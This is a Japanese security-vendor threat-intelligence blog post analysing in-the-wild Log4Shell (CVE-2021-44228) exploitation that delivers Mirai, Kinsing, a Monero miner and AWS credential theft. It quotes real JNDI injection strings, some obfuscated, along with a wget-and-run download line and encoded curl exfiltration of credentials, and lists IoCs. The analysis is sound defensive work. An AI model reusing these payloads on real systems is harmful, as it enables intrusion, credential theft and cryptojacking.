Zscalerのブログ
Zscalerの最新ブログ情報を受信
購読するThreatLabzの分析 - Log4Shell CVE-2021-44228エクスプロイトの試行
Zscaler ThreatLabzチームは、「Log4Shell」と呼ばれるApache Log4jのゼロデイリモートコード実行脆弱性(CVE-2021-44228)に関連するエクスプロイトの試行の監視を続けています。
このブログでは、この脆弱性を利用して送り込まれるエクスプロイトペイロードの分析を紹介します。分析の過程でさらなる詳細が確認された場合、このブログを継続して更新してその詳細を紹介します。
Threatlabzは、この脆弱性に関連するセキュリティ勧告も公開しました。
この脆弱性の原因は何か?
Log4jロギングライブラリ(バージョン2.0~2.15)に存在する脆弱性により、攻撃者がログメッセージのパラメータをコントロールして、HTTP、LDAP、LDAPS、RMI、DNS、IIOPなどのさまざまなJNDIエンドポイントから読み込まれた任意コードを実行する可能性があります。
Apacheからパッチが公開された後の早い時期に確認されたエクスプロイトペイロードの大半は、HTTPおよびLDAPのプロトコルを使用して攻撃者のサーバから不正ペイロードを取得していましたが、現在は、RMI、DNS、IIOPなどの追加プロトコルを使用して脆弱なサーバにペイロードをダウンロードする例も確認されるようになっています。
Log4jエクスプロイトチェーン:その仕組み
攻撃者は、特別に細工したHTTP要求を脆弱なLog4jユーティリティを実行しているWebアプリケーションサーバに送信します。要求を受信したLog4jは、攻撃者がコントロールするサーバからJNDIリソースのロードを試行し、使用されるプロトコルのタイプに応じて、追加コンポーネントのロードも試行します。これらのコンポーネントには、ディスクやメモリにファイルを書き込んで最終ペイロードを実行できるシェルスクリプトやJavaクラスが含まれます。
Zscalerは、このLog4jエクスプロイトを利用してインターネットの脆弱なサーバを標的にする、MiraiやKinsing(クリプトマイニング)など複数のボットネットを確認しました。MiraiとKinsingに加えて、これらのエクスプロイトを利用するCobaltStrikeやランサムウェア関連の活動も報告されています。
確認されたエクスプロイトコマンド
${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7... |
攻撃者は、第2段階のペイロードを送り込む前に、ネットワークフィンガープリンティング手法を利用するようです。
インジェクションされたコマンドには、以下のように、被害者のサーバのIP/ポート情報が含まれており、不正ペイロードを送り込む前にこれらの情報がチェックされます。
${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1Lj… |
ペイロード分析
1. Miraiボットネット
シェルスクリプト lh.sh(MD5: cf2ce888781958e929be430de173a0f8)が、 62.210.130[...]250(攻撃者のサーバ)からダウンロードされます。このbashスクリプトが実行されると、被害者のマシンに複数のLinuxバイナリペイロードがダウンロードされます。また、このスクリプトは、ダウンロードしたペイロードに実行権限をセットして、実行します。
wget http://62.210.130[.]250/web/admin/x86;chmod+x x86;./x86x86; |
これらのバイナリはいずれもMiraiボットネットファミリに所属し、コード構造は同じで、異なるアーキテクチャ(x86 32-bit、64-bit)に合わせてコンパイルされています。アーキテクチャをチェックするコードはなく、攻撃者はすべてのバイナリを実行して、いずれか1つが成功することを期待しています。
これらのMiraiバイナリは、ポート25565でC2ドメイン nazi[.]uyと通信するように構成されており、攻撃者から以下のコマンドを受け取ることができます。
- UDPフラッド
- SYNフラッド
- ACKフラッド
- TCP stompフラッド
- GRE IPフラッド
- 接続フラッド
2. Kinsingマルウェア
シェルスクリプトlh2.sh(MD5: 0579a8907f34236b754b07331685d79e)は、92.242.40[.]21/lh2.shからダウンロードされ、基本的には、ルートキット機能を備えたコインマイナであるKinsingマルウェアファミリに所属しています。
第1段階のbashスクリプト(lh2.sh)は、Kinsingバイナリをダウンロードする前に、被害者のサーバの複数のセキュリティプロセスを停止し、無効化します。これは、不正ペイロードが検知されて実行がブロックされないようにするためです。
Kinsingは、次のようなGolangベースのコインマイナです。
92.242.40.21_kinsing:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped |
bashスクリプトはさらに、定期更新されるバージョンのbashスクリプトをリモートの場所からダウンロードして実行するcronjobを追加することで、永続性を確立します。
永続化
if [ $? -eq 0 ]; then history -c rm -rf ~/.bash_history history -c |
ここで、$LDR値は被害者の環境によって異なり、「wget -q -O -」または「curl」のいずれかです。
185.191.32[.]198/lh.shは、最新のKinsingバイナリを80.71.158[.]12/kinsingからダウンロードして実行します。
3. 認証情報の不正取得
AWSの認証情報を不正取得して攻撃者がコントロールするドメインに送信する例もいくつか確認されました。
${jndi:ldap://176.32.33.14/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIga… |
4. Moneroマイナ
このエクスプロイトは、Linuxサーバだけでなく、脆弱なバージョンが動作中のWindowsサーバも標的にすることがわかりました。
Windowsバッチファイルmine.bat(MD5: 3814f201a07cf1a2d5c837c8caeb912f)は、lurchmath[.]org/wordpress-temp/wp-content/plugins/mine.batからPowershell経由でダウンロードされます。このダウンロードファイルはMoneroマイナに所属し、ウォレットアドレス42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LYを使用します。
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://142.44.203[.]85:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtQ29t... |
これに対し、mine.batは、hxxps://github.com/MoneroOcean/xmrig_setup/blob/master/setup_moneroocean_miner.batに見つかったものに似ています。
最新情報を以下に紹介します。
Zscalerによる検知
脅威の名前 |
検知ID |
検知のタイプ |
47673 |
IPS Web - User-Agent | |
47674 |
IPS Web - User-Agent | |
47675 |
IPS Web - User-Agent | |
47676 |
IPS Web - User-Agent | |
47677 |
IPS Web - User-Agent | |
47707 |
IPS Web - URL | |
47708 |
IPS Web - User-Agent | |
47711 |
IPS Web - User-Agent | |
47801 |
IPS Web - User-Agent | |
124803 |
ファイルコンテンツ(Yara) | |
- |
ファイルレピュテーション | |
- |
ファイルレピュテーション | |
- |
URLレピュテーション | |
- |
ファイルレピュテーション | |
- |
URLレピュテーション |
侵害の痕跡(IoC)
Miraiのサンプル
40e3b969906c1a3315e821a8461216bb
6d275af23910c5a31b2d9684bbb9c6f3
1348a00488a5b3097681b6463321d84c
MiraiのC2
nazi[.]uy
MiraiのダウンロードURL
62.210.130[.]250/web/admin/x86
62.210.130[.]250/web/admin/x86_g
62.210.130[.]250/web/admin/x86_64
Kinsingのサンプル
648effa354b3cbaad87b45f48d59c616
Kinsingのシェルスクリプト
92.242.40[.]21/lh2.sh
80.71.158[.]12/lh.sh
KinsingのダウンロードURL
92.242.40[.]21/Kinsing
80.71.158[.]12/kinsing
永続化
185.191.32[.]198/lh.sh
上位のエクスプロイトサーバIP/ドメイン
18.185.60[.]131:1389
37.233.99[.]127:1389
45.137.21[.]9:1389
45.155.205[.]233:12344
45.155.205[.]233:5874
78.31.71[.]248:1389
92.242.40[.]21:5557
176.32.33[.]14
178.62.74[.]211:8888
198.152.7[.]67:54737
205.185.115[.]217:47324
qloi8d.dnslog[.]cn
u7911j.dnslog[.]cn
90d744e.probe001[.]log4j[.]leakix[.]net:1266
372d7648[.]probe001[.]log4j[.]leakix[.]net:9200
4a3b19ce6368.bingsearchlib[.]com:39356
Moneroマイナ
lurchmath[.]org/wordpress-temp/wp-content/plugins/
ウォレット:42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY
参考資料
- https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce
- https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
- https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/